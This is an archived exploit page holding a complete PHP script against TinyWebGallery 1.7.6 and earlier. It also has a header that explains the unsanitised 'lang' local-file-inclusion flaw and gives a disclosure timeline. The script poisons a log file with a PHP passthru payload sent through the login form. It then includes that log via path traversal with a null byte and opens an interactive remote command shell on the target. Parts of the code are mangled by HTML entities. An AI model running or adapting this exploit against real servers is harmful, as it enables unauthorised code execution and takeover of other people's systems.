Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21797
HistoryMay 11, 2009 - 12:00 a.m.

TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit

2009-05-1100:00:00
vulners.com
21

<?php

/*
-----------------------------------------------------------
TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
-----------------------------------------------------------

    author...: travesti
    mail.....: travesti[at]travesti.in
    
    link.....: http://www.travesti.in
    details..: this vulnerability drift from QuiXplorer &#40;http://quixplorer.sourceforge.net/&#41;
  exp link.: http://www.travesti.in/ex.txt

    This PoC was written for educational purpose. Use it at your own risk.
    Author will be not responsible for any damage.

    [-] vulnerable code in /admin/_include/init.php

    110.    // Get Language
    111.    if &#40;isset&#40;$GLOBALS[&#39;__GET&#39;][&quot;lang&quot;]&#41;&#41;  $GLOBALS[&quot;lang&quot;] = $GLOBALS[&quot;language&quot;] = $_SESSION[&quot;admin_lang&quot;] =

$GLOBALS['__GET']["lang"];
112. elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] =
$_SESSION["admin_lang"] = $GLOBALS['__POST']["lang"];
113. else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] =
$_SESSION["admin_lang"];
114. else $GLOBALS["language"] = $GLOBALS["default_language"];
115.
[…]
138.
139. // ------------------------------------------------------------------------------
140. // Necessary files
141. require _QUIXPLORER_PATH . "/_config/conf.php";
142.
143. if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
144. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
145. else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
146. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
147. else
148. require _QUIXPLORER_PATH . "/_lang/en.php";

    An attacker could be able to include arbitrary local files through the require function at line 144, due to
    $_GET[&#39;lang&#39;] parameter isn&#39;t properly sanitised. Successful exploitation requires magic_quotes_gpc = off

    [-] Disclosure timeline:
            
    [14/04/2009] - Bug discovered
    [25/04/2009] - Vendor contacted
    [26/04/2009] - Vendor replied
    [26/04/2009] - Fix released: http://www.tinywebgallery.com/forum/viewtopic.php?t=1653
    [08/05/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
die("\nsocket_create(): " . socket_strerror($s) . "\n");

    if &#40;socket_connect&#40;$s, $host, 80&#41; == false&#41;
      die&#40;&quot;&#92;nsocket_connect&#40;&#41;: &quot; . socket_strerror&#40;socket_last_error&#40;&#41;&#41; . &quot;&#92;n&quot;&#41;;

    socket_write&#40;$s, $packet, strlen&#40;$packet&#41;&#41;;
    while &#40;$m = socket_read&#40;$s, 2048&#41;&#41; $response .= $m;

    socket_close&#40;$s&#41;;
    return $response;

}

function check_target()
{
global $host, $path;

    $packet  = &quot;GET {$path}info.php?showphpinfo=true HTTP/1.0&#92;r&#92;n&quot;;
    $packet .= &quot;Host: {$host}&#92;r&#92;n&quot;;
    $packet .= &quot;Connection: close&#92;r&#92;n&#92;r&#92;n&quot;;

    preg_match&#40;&#39;/magic_quotes_gpc&lt;&#92;/td&gt;&lt;td class=&quot;v&quot;&gt;&#40;.*&#41;&lt;&#92;/td&gt;&lt;td/&#39;, http_send&#40;$host, $packet&#41;, $match&#41;;

    if &#40;$match[1] != &quot;Off&quot;&#41; die&#40;&quot;&#92;n[-] Exploit failed...magic_quotes_gpc = on&#92;n&quot;&#41;;

}

function inject_code()
{
global $host, $path;

    $code    = &quot;&lt;?php &#92;${print&#40;_code_&#41;}.&#92;${passthru&#40;base64_decode&#40;&#92;$_SERVER[HTTP_CMD]&#41;&#41;}.&#92;${die} ?&gt;&quot;;
    $payload = &quot;p_user={$code}&amp;p_pass=&quot;;

    $packet  = &quot;POST {$path}admin/index.php?action=login HTTP/1.0&#92;r&#92;n&quot;;
    $packet .= &quot;Host: {$host}&#92;r&#92;n&quot;;
    $packet .= &quot;Content-Length: &quot;.strlen&#40;$payload&#41;.&quot;&#92;r&#92;n&quot;;
    $packet .= &quot;Content-Type: application/x-www-form-urlencoded&#92;r&#92;n&quot;;
    $packet .= &quot;Connection: close&#92;r&#92;n&#92;r&#92;n&quot;;
    $packet .= $payload;

    http_send&#40;$host, $packet&#41;;

}

print "\n±--------------------------------------------------------------------+";
print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";
print "\n±--------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage…: php $argv[0] host path\n";
print "\nExample…: php $argv[0] localhost /";
print "\nExample…: php $argv[0] localhost /twg/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

check_target();
inject_code();

$packet = "GET {$path}admin/index.php?lang=…/…/counter/_twg.log%%00 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while (1)
{
print "\ntwg-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/code/", $response) ? print array_pop(explode("code", $response)) : die("\n[-] Exploit
failed…\n");
}

?>